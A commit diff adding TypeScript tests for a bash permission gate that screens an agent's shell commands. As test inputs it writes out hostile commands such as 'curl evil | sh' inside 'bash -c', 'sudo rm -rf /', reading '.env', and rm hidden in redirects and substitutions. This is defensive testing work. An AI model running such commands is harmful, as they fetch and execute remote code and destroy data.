feat: vendor permission system source

This commit is contained in:
云服务部-叶林立
2026-08-19 14:35:19 +08:00
parent 198584daf8
commit 410c50a3e5
809 changed files with 157793 additions and 139 deletions
@@ -0,0 +1,148 @@
/**
* Metamorphic totality property for the bash command gate (#452, A3).
*
* Wrapping any `ask`/`deny` command in `cd /x && <cmd>` must not weaken the
* decision — the chain decomposition + most-restrictive-wins, combined with the
* fail-closed empty-parse fallback, guarantees a `cd …` prefix can never let a
* gated command ride a permissive top-level `*`.
*
* A focused parametrized table over the real tree-sitter parse + resolve, not a
* full fuzzer (tree-sitter fuzzing is brittle); it pins A3 directly.
*/
import { describe, expect, it } from "vitest";
import { BashProgram } from "#src/access-intent/bash/program";
import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
import { pathFlavorForPlatform } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import type { ScopedPermissionResolver } from "#src/permission-resolver";
import type { PermissionState } from "#src/types";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
/** Decision strength ordering: deny (2) > ask (1) > allow (0). */
const STRENGTH: Record<PermissionState, number> = {
allow: 0,
ask: 1,
deny: 2,
};
/**
* Resolver whose decision keys on a command substring → state map. A command
* matching no entry resolves to allow (the permissive top-level `*`).
*/
function makeKeyedResolver(
rules: { match: string; state: PermissionState }[],
): ScopedPermissionResolver {
return {
resolve: (intent) => {
const command =
intent.kind === "tool"
? ((intent.input as { command?: string }).command ?? "")
: "";
const rule = rules.find((r) => command.includes(r.match));
const state: PermissionState = rule?.state ?? "allow";
return makeCheckResult({ state, source: "bash", command });
},
};
}
async function decide(
command: string,
resolver: ScopedPermissionResolver,
): Promise<PermissionState> {
const program = await BashProgram.parse(
command,
new PathNormalizer(pathFlavorForPlatform(process.platform), "/cwd"),
);
return resolveBashCommandCheck(
command,
program.commands(),
undefined,
resolver,
).state;
}
describe("bash command gate — metamorphic totality", () => {
const cases: { bare: string; state: PermissionState }[] = [
{ bare: "git push", state: "ask" },
{ bare: "git commit -m wip", state: "ask" },
{ bare: "rm -rf build", state: "deny" },
{ bare: "npm install pkg", state: "deny" },
{ bare: "gh pr create", state: "ask" },
];
for (const { bare, state } of cases) {
it(`wrapping "${bare}" in a cd prefix does not weaken its ${state} decision`, async () => {
const resolver = makeKeyedResolver([
{ match: bare.split(" ")[0] ?? bare, state },
]);
const bareDecision = await decide(bare, resolver);
const wrappedDecision = await decide(`cd /repo && ${bare}`, resolver);
expect(STRENGTH[wrappedDecision]).toBeGreaterThanOrEqual(
STRENGTH[bareDecision],
);
expect(wrappedDecision).toBe(state);
});
}
});
/**
* The same totality property for nested execution hosts (#741).
*
* A command hosted in a redirect target or an interpolating heredoc body really
* executes, so hosting a gated command there must not weaken its decision — the
* enclosing `echo`/`cat` resolves to a permissive allow, and only the nested
* unit carries the restriction.
*/
describe("bash command gate — nested execution hosts do not weaken", () => {
const hosts: { label: string; wrap: (cmd: string) => string }[] = [
{ label: "a stdout redirect", wrap: (c) => `echo hi > $(${c})` },
{ label: "an appending redirect", wrap: (c) => `echo hi >> $(${c})` },
{ label: "a stderr redirect", wrap: (c) => `echo hi 2> \`${c}\`` },
{ label: "an input process substitution", wrap: (c) => `cat < <(${c})` },
{
label: "an interpolating heredoc",
wrap: (c) => `cat <<EOF\n$(${c})\nEOF`,
},
];
const cases: { bare: string; state: PermissionState }[] = [
{ bare: "rm -rf build", state: "deny" },
{ bare: "git push", state: "ask" },
];
for (const { label, wrap } of hosts) {
for (const { bare, state } of cases) {
it(`hosting "${bare}" in ${label} does not weaken its ${state} decision`, async () => {
const resolver = makeKeyedResolver([
{ match: bare.split(" ")[0] ?? bare, state },
]);
const bareDecision = await decide(bare, resolver);
const hostedDecision = await decide(wrap(bare), resolver);
expect(STRENGTH[hostedDecision]).toBeGreaterThanOrEqual(
STRENGTH[bareDecision],
);
expect(hostedDecision).toBe(state);
});
}
}
it("denies the reported repro when the enclosing command is allowed", async () => {
// #741: `echo *` allowed, `rm *` denied — the redirect-hosted `rm` decides.
const resolver = makeKeyedResolver([{ match: "rm", state: "deny" }]);
expect(await decide('echo "hello world" > $(rm *.txt)', resolver)).toBe(
"deny",
);
});
it("leaves a quoted heredoc body literal, so it does not gate", async () => {
const resolver = makeKeyedResolver([{ match: "rm", state: "deny" }]);
expect(await decide("cat <<'EOF'\n$(rm x)\nEOF", resolver)).toBe("allow");
});
});
@@ -0,0 +1,358 @@
import { describe, expect, it } from "vitest";
import { resolveBashCommandCheck } from "#src/handlers/gates/bash-command";
import type { PermissionCheckResult } from "#src/types";
import { makeResolver } from "#test/helpers/gate-fixtures";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
/** Build a bash-surface check result for a single command unit. */
function bashResult(
state: PermissionCheckResult["state"],
command: string,
matchedPattern?: string,
): PermissionCheckResult {
return makeCheckResult({ state, source: "bash", command, matchedPattern });
}
describe("resolveBashCommandCheck", () => {
it("passes a single command straight through", () => {
const resolver = makeResolver(
bashResult("allow", "npm install pkg", "npm *"),
);
const result = resolveBashCommandCheck(
"npm install pkg",
[{ text: "npm install pkg" }],
undefined,
resolver,
);
expect(result.state).toBe("allow");
expect(resolver.resolve).toHaveBeenCalledTimes(1);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "tool",
surface: "bash",
input: { command: "npm install pkg" },
agentName: undefined,
});
});
it("denies the chain when any sub-command is denied, reporting that command's pattern", () => {
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) => {
const command = (intent as { input: { command: string } }).input.command;
return command.startsWith("npm")
? bashResult("deny", command, "npm *")
: bashResult("allow", command, "cd *");
});
const result = resolveBashCommandCheck(
"cd /p && npm install pkg",
[{ text: "cd /p" }, { text: "npm install pkg" }],
undefined,
resolver,
);
expect(result.state).toBe("deny");
expect(result.matchedPattern).toBe("npm *");
expect(result.command).toBe("npm install pkg");
});
it("asks when a sub-command asks and none denies", () => {
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) => {
const command = (intent as { input: { command: string } }).input.command;
return command.startsWith("git")
? bashResult("ask", command, "git *")
: bashResult("allow", command, "cd *");
});
const result = resolveBashCommandCheck(
"cd /p && git push",
[{ text: "cd /p" }, { text: "git push" }],
undefined,
resolver,
);
expect(result.state).toBe("ask");
expect(result.matchedPattern).toBe("git *");
expect(result.command).toBe("git push");
});
it("returns the first allow result when every sub-command is allowed", () => {
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) => {
const command = (intent as { input: { command: string } }).input.command;
return bashResult("allow", command, `${command} *`);
});
const result = resolveBashCommandCheck(
"a && b",
[{ text: "a" }, { text: "b" }],
undefined,
resolver,
);
expect(result.state).toBe("allow");
expect(result.matchedPattern).toBe("a *");
});
it("falls back to the whole command for a comment-only line (genuinely nothing to gate)", () => {
const resolver = makeResolver(bashResult("allow", "# just a comment", "*"));
const result = resolveBashCommandCheck(
"# just a comment",
[],
undefined,
resolver,
);
expect(result.state).toBe("allow");
expect(resolver.resolve).toHaveBeenCalledTimes(1);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "tool",
surface: "bash",
input: { command: "# just a comment" },
agentName: undefined,
});
});
it("falls back to the whole command for an empty/whitespace-only command", () => {
const resolver = makeResolver(bashResult("allow", " ", "*"));
const result = resolveBashCommandCheck(" ", [], undefined, resolver);
expect(result.state).toBe("allow");
expect(resolver.resolve).toHaveBeenCalledTimes(1);
});
it("fails closed to ask when a non-empty command parses to zero command units", () => {
const resolver = makeResolver(bashResult("allow", "( rm x )", "*"));
const result = resolveBashCommandCheck("( rm x )", [], undefined, resolver);
// A permissive top-level '*' must NOT silently allow an unparseable command.
expect(result.state).toBe("ask");
expect(result.matchedPattern).toBe("<unparseable-bash-command>");
expect(result.command).toBe("( rm x )");
expect(result.commandContext).toBeUndefined();
// The whole command is resolved once, to see whether a deny rule covers it.
expect(resolver.resolve).toHaveBeenCalledTimes(1);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "tool",
surface: "bash",
input: { command: "( rm x )" },
agentName: undefined,
});
});
it("returns the explicit deny when an unparseable command matches a deny rule", () => {
const resolver = makeResolver(bashResult("deny", "( rm x )", "rm *"));
const result = resolveBashCommandCheck("( rm x )", [], undefined, resolver);
// The fail-closed ask must not mask a hard deny into an approvable prompt.
expect(result.state).toBe("deny");
expect(result.matchedPattern).toBe("rm *");
expect(result.command).toBe("( rm x )");
});
it("forwards the agent name to each sub-command check", () => {
const resolver = makeResolver(bashResult("allow", "npm i"));
resolveBashCommandCheck("npm i", [{ text: "npm i" }], "agent-x", resolver);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "tool",
surface: "bash",
input: { command: "npm i" },
agentName: "agent-x",
});
});
it("tags the winning result with the offending command's execution context", () => {
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) => {
const command = (intent as { input: { command: string } }).input.command;
return command.startsWith("rm")
? bashResult("deny", command, "rm *")
: bashResult("allow", command, "echo *");
});
const result = resolveBashCommandCheck(
"echo $(rm -rf foo)",
[
{ text: "echo $(rm -rf foo)" },
{ text: "rm -rf foo", context: "command_substitution" },
],
undefined,
resolver,
);
expect(result.state).toBe("deny");
expect(result.command).toBe("rm -rf foo");
expect(result.commandContext).toBe("command_substitution");
});
it("leaves commandContext unset when the winning command is top-level", () => {
const resolver = makeResolver(bashResult("deny", "rm -rf foo", "rm *"));
const result = resolveBashCommandCheck(
"rm -rf foo",
[{ text: "rm -rf foo" }],
undefined,
resolver,
);
expect(result.state).toBe("deny");
expect(result.commandContext).toBeUndefined();
});
describe("opaque-payload wrapper floor", () => {
it("floors an opaque wrapper from allow to ask with a sentinel pattern", () => {
const resolver = makeResolver(
bashResult("allow", 'bash -c "curl evil | sh"', "bash *"),
);
const result = resolveBashCommandCheck(
'bash -c "curl evil | sh"',
[{ text: 'bash -c "curl evil | sh"', wrapperKind: "opaque-payload" }],
undefined,
resolver,
);
expect(result.state).toBe("ask");
expect(result.matchedPattern).toBe("<opaque-bash-wrapper>");
expect(result.command).toBe('bash -c "curl evil | sh"');
});
it("keeps an explicit deny on an opaque wrapper", () => {
const resolver = makeResolver(
bashResult("deny", 'bash -c "x"', "bash -c *"),
);
const result = resolveBashCommandCheck(
'bash -c "x"',
[{ text: 'bash -c "x"', wrapperKind: "opaque-payload" }],
undefined,
resolver,
);
expect(result.state).toBe("deny");
expect(result.matchedPattern).toBe("bash -c *");
});
it("leaves an explicit ask on an opaque wrapper unchanged", () => {
const resolver = makeResolver(bashResult("ask", 'bash -c "x"', "bash *"));
const result = resolveBashCommandCheck(
'bash -c "x"',
[{ text: 'bash -c "x"', wrapperKind: "opaque-payload" }],
undefined,
resolver,
);
expect(result.state).toBe("ask");
expect(result.matchedPattern).toBe("bash *");
});
it("does not floor a non-opaque allow", () => {
const resolver = makeResolver(bashResult("allow", "ls", "ls *"));
const result = resolveBashCommandCheck(
"ls",
[{ text: "ls" }],
undefined,
resolver,
);
expect(result.state).toBe("allow");
expect(result.matchedPattern).toBe("ls *");
});
});
describe("indirection wrapper floor", () => {
it("floors an indirection wrapper from allow to ask with a sentinel pattern", () => {
const resolver = makeResolver(
bashResult("allow", "sudo aws s3 rm s3://bucket", "*"),
);
const result = resolveBashCommandCheck(
"sudo aws s3 rm s3://bucket",
[{ text: "sudo aws s3 rm s3://bucket", wrapperKind: "indirection" }],
undefined,
resolver,
);
expect(result.state).toBe("ask");
expect(result.matchedPattern).toBe("<indirection-bash-wrapper>");
expect(result.command).toBe("sudo aws s3 rm s3://bucket");
});
it("carries the winning unit's executed command onto the result", () => {
const resolver = makeResolver(bashResult("allow", "sudo aws s3 rm", "*"));
const result = resolveBashCommandCheck(
"sudo aws s3 rm",
[
{
text: "sudo aws s3 rm",
wrapperKind: "indirection",
executedUnit: "aws s3 rm",
},
],
undefined,
resolver,
);
expect(result.executedUnit).toBe("aws s3 rm");
// The gate still decides on the unit text, not the inner command.
expect(result.command).toBe("sudo aws s3 rm");
expect(result.matchedPattern).toBe("<indirection-bash-wrapper>");
});
it("leaves the executed command absent for an ordinary unit", () => {
const resolver = makeResolver(bashResult("ask", "rm x", "rm *"));
const result = resolveBashCommandCheck(
"rm x",
[{ text: "rm x" }],
undefined,
resolver,
);
expect(result.executedUnit).toBeUndefined();
});
it("keeps an explicit deny on an indirection wrapper", () => {
const resolver = makeResolver(
bashResult("deny", "sudo rm -rf /", "sudo *"),
);
const result = resolveBashCommandCheck(
"sudo rm -rf /",
[{ text: "sudo rm -rf /", wrapperKind: "indirection" }],
undefined,
resolver,
);
expect(result.state).toBe("deny");
expect(result.matchedPattern).toBe("sudo *");
});
it("leaves an explicit ask on an indirection wrapper unchanged", () => {
const resolver = makeResolver(bashResult("ask", "sudo aws", "sudo *"));
const result = resolveBashCommandCheck(
"sudo aws",
[{ text: "sudo aws", wrapperKind: "indirection" }],
undefined,
resolver,
);
expect(result.state).toBe("ask");
expect(result.matchedPattern).toBe("sudo *");
});
});
});
@@ -0,0 +1,395 @@
import { homedir } from "node:os";
import { join } from "node:path";
import { describe, expect, it } from "vitest";
import type { AccessIntent } from "#src/access-intent/access-intent";
import { BashProgram } from "#src/access-intent/bash/program";
import { describeBashExternalDirectoryGate } from "#src/handlers/gates/bash-external-directory";
import type {
GateBypass,
GateDescriptor,
GateResult,
} from "#src/handlers/gates/descriptor";
import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
import type { ToolCallContext } from "#src/handlers/gates/types";
import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import type { ScopedPermissionResolver } from "#src/permission-resolver";
import {
allEvidence,
findEvidence,
type PromptPayload,
} from "#src/presentation/prompt-payload";
import type { PermissionCheckResult } from "#src/types";
import { getNonEmptyString, toRecord } from "#src/value-guards";
import { makeResolver } from "#test/helpers/gate-fixtures";
// ── helpers ────────────────────────────────────────────────────────────────
/** Every escaping path the payload lists, in payload order. */
function externalPaths(payload: PromptPayload): string[] {
return allEvidence(payload, "external path").map((entry) => entry.text);
}
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
return {
toolName: "bash",
agentName: null,
input: { command: "cat /outside/project/file.ts" },
toolCallId: "tc-1",
cwd: "/test/project",
...overrides,
};
}
function makeCheckResult(
state: "allow" | "deny" | "ask",
overrides: Partial<PermissionCheckResult> = {},
): PermissionCheckResult {
return {
state,
toolName: "external_directory",
source: "special",
origin: "builtin",
...overrides,
};
}
/** Extract the policy match values a resolve(intent) call carries. */
function intentValues(intent: AccessIntent): readonly string[] {
if (intent.kind === "access-path") return intent.path.matchValues();
return [];
}
/**
* Mirror the handler's parse-once derivation: parse the bash command into a
* shared `BashProgram` and inject it, exactly as `permission-gate-handler.ts`
* does, so the gate is exercised through the production wiring.
*/
async function describeGate(
tcc: ToolCallContext,
resolver: ScopedPermissionResolver,
): Promise<GateResult> {
const command = getNonEmptyString(toRecord(tcc.input).command);
const bashProgram =
tcc.toolName === "bash" && command
? await BashProgram.parse(
command,
new PathNormalizer(pathFlavorForPlatform(process.platform), tcc.cwd),
)
: null;
return describeBashExternalDirectoryGate(tcc, bashProgram, resolver);
}
// ── tests ──────────────────────────────────────────────────────────────────
describe("describeBashExternalDirectoryGate", () => {
it("returns null when tool is not bash", async () => {
const result = await describeGate(
makeTcc({ toolName: "read" }),
makeResolver(makeCheckResult("ask")),
);
expect(result).toBeNull();
});
it("returns null when command has no external paths", async () => {
const result = await describeGate(
makeTcc({ input: { command: "ls -la" } }),
makeResolver(makeCheckResult("ask")),
);
expect(result).toBeNull();
});
describe("resolved shell expansions (#694)", () => {
it("prompts for a $HOME write target that does not exist yet", async () => {
const resolver = makeResolver(makeCheckResult("ask"));
const result = await describeGate(
makeTcc({
input: {
command: 'touch "$HOME/pi-permission-system-repro-new"',
},
}),
resolver,
);
expect(isGateDescriptor(result)).toBe(true);
expect(externalPaths((result as GateDescriptor).payload)).toEqual([
join(homedir(), "pi-permission-system-repro-new"),
]);
});
// biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — a braced shell expansion, not a template string
it("prompts for a braced ${HOME} reference", async () => {
const result = await describeGate(
// biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — a braced shell expansion, not a template string
makeTcc({ input: { command: 'ls "${HOME}/somewhere"' } }),
makeResolver(makeCheckResult("ask")),
);
expect(isGateDescriptor(result)).toBe(true);
expect(externalPaths((result as GateDescriptor).payload)).toEqual([
join(homedir(), "somewhere"),
]);
});
it("does not prompt for a variable it cannot resolve", async () => {
const result = await describeGate(
makeTcc({ input: { command: 'CURRENT="$HOME"; ls "$CURRENT"' } }),
makeResolver(makeCheckResult("ask")),
);
expect(result).toBeNull();
});
});
it("resolves each external path on the external_directory surface via an access-path intent (#418)", async () => {
const resolver = makeResolver(makeCheckResult("ask"));
await describeGate(
makeTcc({ input: { command: "cat /outside/a.ts" } }),
resolver,
);
const intent = resolver.resolve.mock.calls[0][0];
expect(intent).toMatchObject({
kind: "access-path",
surface: "external_directory",
agentName: undefined,
});
expect(intentValues(intent)).toEqual(["/outside/a.ts"]);
});
it("carries the deciding path's access facts on promptDetails (bash external_directory surface)", async () => {
const resolver = makeResolver(makeCheckResult("ask"));
const result = (await describeGate(
makeTcc({ input: { command: "cat /outside/a.ts" } }),
resolver,
)) as GateDescriptor;
const intent = resolver.resolve.mock.calls[0][0];
const path = intent.kind === "access-path" ? intent.path : undefined;
expect(path).toBeDefined();
expect(result.promptDetails.accessIntent).toEqual({
surface: "external_directory",
matchValues: path?.matchValues(),
boundaryValue: path?.boundaryValue(),
});
});
it("emits a bash_external_directory payload listing every escaping path", async () => {
const resolver = makeResolver(makeCheckResult("ask"));
const result = (await describeGate(
makeTcc({ input: { command: "cat /outside/a.ts" } }),
resolver,
)) as GateDescriptor;
expect(result.payload.kind).toBe("bash_external_directory");
// The command is the decision value; the paths it reaches are evidence.
expect(result.payload.request.value).toBe("cat /outside/a.ts");
expect(result.payload.evidence).toContainEqual({
label: "external path",
text: "/outside/a.ts",
detail: null,
});
});
it("returns GateBypass when all external paths are session-covered", async () => {
const resolver = makeResolver(
makeCheckResult("allow", { source: "session" }),
);
const result = await describeGate(makeTcc(), resolver);
expect(result).not.toBeNull();
expect(isGateBypass(result)).toBe(true);
const bypass = result as GateBypass;
expect(bypass.action).toBe("allow");
expect(bypass.log).toMatchObject({
event: "permission_request.session_approved",
details: expect.objectContaining({ resolution: "session_approved" }),
});
expect(bypass.decidedBy).toEqual({
kind: "session_approval",
surface: "external_directory",
pattern: null,
});
});
it("returns GateDescriptor with multi-pattern sessionApproval for uncovered paths", async () => {
const result = await describeGate(
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
makeResolver(makeCheckResult("ask")),
);
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.sessionApproval).toBeDefined();
if (!desc.sessionApproval) return;
expect(desc.sessionApproval.patterns.length).toBeGreaterThan(0);
});
it("returns GateBypass when all external paths are config-level allowed", async () => {
// Config-level allow (source: "special") should suppress the prompt,
// not just session-level allow. This was the bug: source !== "session"
// kept config-allowed paths in the uncovered set.
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intentValues(intent).length > 0
? makeCheckResult("allow", { source: "special" })
: makeCheckResult("ask"),
);
const result = await describeGate(makeTcc(), resolver);
expect(result).not.toBeNull();
expect(isGateBypass(result)).toBe(true);
});
it("uses worst-check state from uncovered paths for preCheck (config deny > catch-all ask)", async () => {
// The path-less extCheck used to always return the "*" catch-all (ask),
// silently downgrading a config-level deny to ask. After the fix, the
// descriptor's preCheck is derived from the actual path check result.
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intentValues(intent).length > 0
? makeCheckResult("deny", { source: "special" })
: makeCheckResult("ask"),
);
const result = await describeGate(makeTcc(), resolver);
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.preCheck?.state).toBe("deny");
});
it("descriptor surface is 'external_directory'", async () => {
const result = await describeGate(
makeTcc(),
makeResolver(makeCheckResult("ask")),
);
const desc = result as GateDescriptor;
expect(desc.surface).toBe("external_directory");
});
it("descriptor decision surface is 'external_directory'", async () => {
const result = await describeGate(
makeTcc(),
makeResolver(makeCheckResult("ask")),
);
const desc = result as GateDescriptor;
expect(desc.decision.surface).toBe("external_directory");
});
it("payload carries the command and the boundary it escaped", async () => {
const result = await describeGate(
makeTcc({ input: { command: "cat /outside/file.ts" } }),
makeResolver(makeCheckResult("ask")),
);
const { payload } = result as GateDescriptor;
expect(payload.kind).toBe("bash_external_directory");
expect(payload.request.value).toBe("cat /outside/file.ts");
expect(findEvidence(payload, "working directory")?.text).toBe(
"/test/project",
);
});
it("promptDetails includes command and tool_call source", async () => {
const result = await describeGate(
makeTcc({ agentName: "agent-1", toolCallId: "tc-5" }),
makeResolver(makeCheckResult("ask")),
);
const desc = result as GateDescriptor;
expect(desc.promptDetails).toMatchObject({
source: "tool_call",
agentName: "agent-1",
toolCallId: "tc-5",
toolName: "bash",
command: "cat /outside/project/file.ts",
});
});
it("config-allowed path is excluded; remaining ask path produces a descriptor", async () => {
// One path config-allowed, one config-ask → descriptor with only the ask path.
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intentValues(intent).includes("/outside/a.ts")
? makeCheckResult("allow", { source: "special" })
: makeCheckResult("ask"),
);
const result = await describeGate(
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
resolver,
);
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.sessionApproval).toBeDefined();
if (!desc.sessionApproval) return;
expect(desc.sessionApproval.patterns.length).toBe(1);
expect(desc.preCheck?.state).toBe("ask");
});
it("config-denied path makes worstCheck deny even when another path is ask", async () => {
// One path config-denied, one config-ask → descriptor with preCheck.state === "deny".
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intentValues(intent).includes("/outside/a.ts")
? makeCheckResult("deny", { source: "special" })
: makeCheckResult("ask"),
);
const result = await describeGate(
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
resolver,
);
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.preCheck?.state).toBe("deny");
// Both paths are uncovered (neither is allow), so both patterns are included.
expect(desc.sessionApproval).toBeDefined();
if (!desc.sessionApproval) return;
expect(desc.sessionApproval.patterns.length).toBe(2);
});
it("only includes uncovered paths when some are session-covered", async () => {
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intentValues(intent).includes("/outside/a.ts")
? makeCheckResult("allow", { source: "session" })
: makeCheckResult("ask"),
);
const result = await describeGate(
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
resolver,
);
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
// Should have patterns only for the uncovered path
expect(desc.sessionApproval).toBeDefined();
if (!desc.sessionApproval) return;
expect(desc.sessionApproval.patterns.length).toBe(1);
});
});
describe("describeBashExternalDirectoryGate — Git Bash semantics (win32)", () => {
async function describeGateWin32(
tcc: ToolCallContext,
resolver: ScopedPermissionResolver,
): Promise<GateResult> {
const command = getNonEmptyString(toRecord(tcc.input).command);
const bashProgram =
tcc.toolName === "bash" && command
? await BashProgram.parse(
command,
new PathNormalizer(win32PathFlavor, tcc.cwd),
)
: null;
return describeBashExternalDirectoryGate(tcc, bashProgram, resolver);
}
const winTcc = (command: string): ToolCallContext =>
makeTcc({ cwd: "C:/projects/app", input: { command } });
it("does not prompt for a /dev/null redirect target", async () => {
const result = await describeGateWin32(
winTcc("echo hi > /dev/null"),
makeResolver(makeCheckResult("ask")),
);
expect(result).toBeNull();
});
it("prompts for a /tmp path displayed as typed, not as C:\\tmp", async () => {
const result = await describeGateWin32(
winTcc("ls /tmp"),
makeResolver(makeCheckResult("ask")),
);
expect(isGateDescriptor(result)).toBe(true);
expect(externalPaths((result as GateDescriptor).payload)).toEqual(["/tmp"]);
});
});
@@ -0,0 +1,437 @@
import { afterEach, describe, expect, it, vi } from "vitest";
// Mock node:os so tilde-expansion is deterministic across platforms.
vi.mock("node:os", () => {
const homedir = vi.fn(() => "/mock/home");
return {
homedir,
default: { homedir },
};
});
import { AccessPath } from "#src/access-intent/access-path";
import { BashProgram } from "#src/access-intent/bash/program";
import { describeBashPathGate } from "#src/handlers/gates/bash-path";
import type {
GateBypass,
GateDescriptor,
GateResult,
} from "#src/handlers/gates/descriptor";
import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
import type { ToolCallContext } from "#src/handlers/gates/types";
import { pathFlavorForPlatform, posixPathFlavor } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import type { ScopedPermissionResolver } from "#src/permission-resolver";
import { getNonEmptyString, toRecord } from "#src/value-guards";
import {
makeGateCheckResult as makeCheckResult,
makePathDispatchResolver,
makeResolver,
makeTcc,
} from "#test/helpers/gate-fixtures";
afterEach(() => {
vi.restoreAllMocks();
});
/**
* Mirror the handler's parse-once derivation: parse the bash command into a
* shared `BashProgram` and inject it, exactly as `permission-gate-handler.ts`
* does, so the gate is exercised through the production wiring.
*/
async function describeGate(
tcc: ToolCallContext,
resolver: ScopedPermissionResolver,
): Promise<GateResult> {
return describeGateOnPlatform(process.platform, tcc, resolver);
}
/**
* Variant of {@link describeGate} that injects an explicit host platform, so a
* win32-specific decision can be exercised on a POSIX CI host (and vice versa)
* without mocking `node:path` (#520).
*/
async function describeGateOnPlatform(
platform: NodeJS.Platform,
tcc: ToolCallContext,
resolver: ScopedPermissionResolver,
): Promise<GateResult> {
const command = getNonEmptyString(toRecord(tcc.input).command);
const bashProgram =
tcc.toolName === "bash" && command
? await BashProgram.parse(
command,
new PathNormalizer(pathFlavorForPlatform(platform), tcc.cwd),
)
: null;
return describeBashPathGate(tcc, bashProgram, resolver);
}
// ── tests ──────────────────────────────────────────────────────────────────
describe("describeBashPathGate", () => {
it("returns null for non-bash tools", async () => {
const result = await describeGate(
makeTcc({ toolName: "read", input: { path: ".env" } }),
makeResolver(),
);
expect(result).toBeNull();
});
it("returns null when no tokens are extracted", async () => {
const result = await describeGate(
makeTcc({ input: { command: "echo hello" } }),
makeResolver(),
);
expect(result).toBeNull();
});
it("returns null when all tokens evaluate to allow", async () => {
const result = await describeGate(
makeTcc(),
makeResolver(makeCheckResult({ state: "allow" })),
);
expect(result).toBeNull();
});
it("returns GateDescriptor when a token evaluates to deny", async () => {
const result = await describeGate(
makeTcc(),
makeResolver(makeCheckResult({ state: "deny", matchedPattern: "*.env" })),
);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.surface).toBe("path");
expect(desc.preCheck?.state).toBe("deny");
});
it("returns GateDescriptor when a token evaluates to ask", async () => {
const result = await describeGate(
makeTcc(),
makeResolver(makeCheckResult({ state: "ask", matchedPattern: "*" })),
);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.preCheck?.state).toBe("ask");
});
it("descriptor includes triggering token in prompt message", async () => {
const result = (await describeGate(
makeTcc(),
makeResolver(makeCheckResult({ state: "deny", matchedPattern: "*.env" })),
)) as GateDescriptor;
expect(result.promptDetails.command).toBe("cat .env");
// The bash path gate asks about the offending token, not the command.
expect(result.payload.kind).toBe("path");
expect(result.payload.request.value).toBe(".env");
});
it("descriptor decision uses surface 'path'", async () => {
const result = (await describeGate(
makeTcc(),
makeResolver(makeCheckResult({ state: "deny", matchedPattern: "*.env" })),
)) as GateDescriptor;
expect(result.decision.surface).toBe("path");
});
it("carries the deciding token's access facts on promptDetails (bash path surface)", async () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
);
const result = (await describeGate(makeTcc(), resolver)) as GateDescriptor;
// The facts are the string projection of the same AccessPath the gate
// resolved for the deciding token.
const intent = resolver.resolve.mock.calls.at(-1)?.[0];
const path = intent?.kind === "access-path" ? intent.path : undefined;
expect(path).toBeDefined();
expect(result.promptDetails.accessIntent).toEqual({
surface: "path",
matchValues: path?.matchValues(),
boundaryValue: path?.boundaryValue(),
});
});
it("returns GateBypass when session rule covers the path", async () => {
const result = await describeGate(
makeTcc(),
makeResolver(makeCheckResult({ state: "allow", source: "session" })),
);
expect(result).not.toBeNull();
expect(isGateBypass(result)).toBe(true);
expect((result as GateBypass).action).toBe("allow");
expect((result as GateBypass).decidedBy).toEqual({
kind: "session_approval",
surface: "path",
pattern: null,
});
});
it("returns null when command is missing", async () => {
const result = await describeGate(makeTcc({ input: {} }), makeResolver());
expect(result).toBeNull();
});
it("evaluates most restrictive across multiple tokens", async () => {
const resolver = makePathDispatchResolver(
{ "src/foo.ts": makeCheckResult({ state: "allow" }) },
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
);
const result = await describeGate(
makeTcc({ input: { command: "cat src/foo.ts .env" } }),
resolver,
);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
expect((result as GateDescriptor).preCheck?.state).toBe("deny");
});
it("deny wins in multi-token: cp .env README.md", async () => {
const resolver = makePathDispatchResolver(
{ ".env": makeCheckResult({ state: "deny", matchedPattern: "*.env" }) },
makeCheckResult({ state: "allow" }),
);
const result = await describeGate(
makeTcc({ input: { command: "cp .env README.md" } }),
resolver,
);
expect(result).not.toBeNull();
expect(isGateDescriptor(result)).toBe(true);
const desc = result as GateDescriptor;
expect(desc.preCheck?.state).toBe("deny");
expect(desc.decision.value).toBe(".env");
});
it("extracts redirect target: echo test > .env triggers deny", async () => {
const resolver = makePathDispatchResolver(
{ ".env": makeCheckResult({ state: "deny", matchedPattern: "*.env" }) },
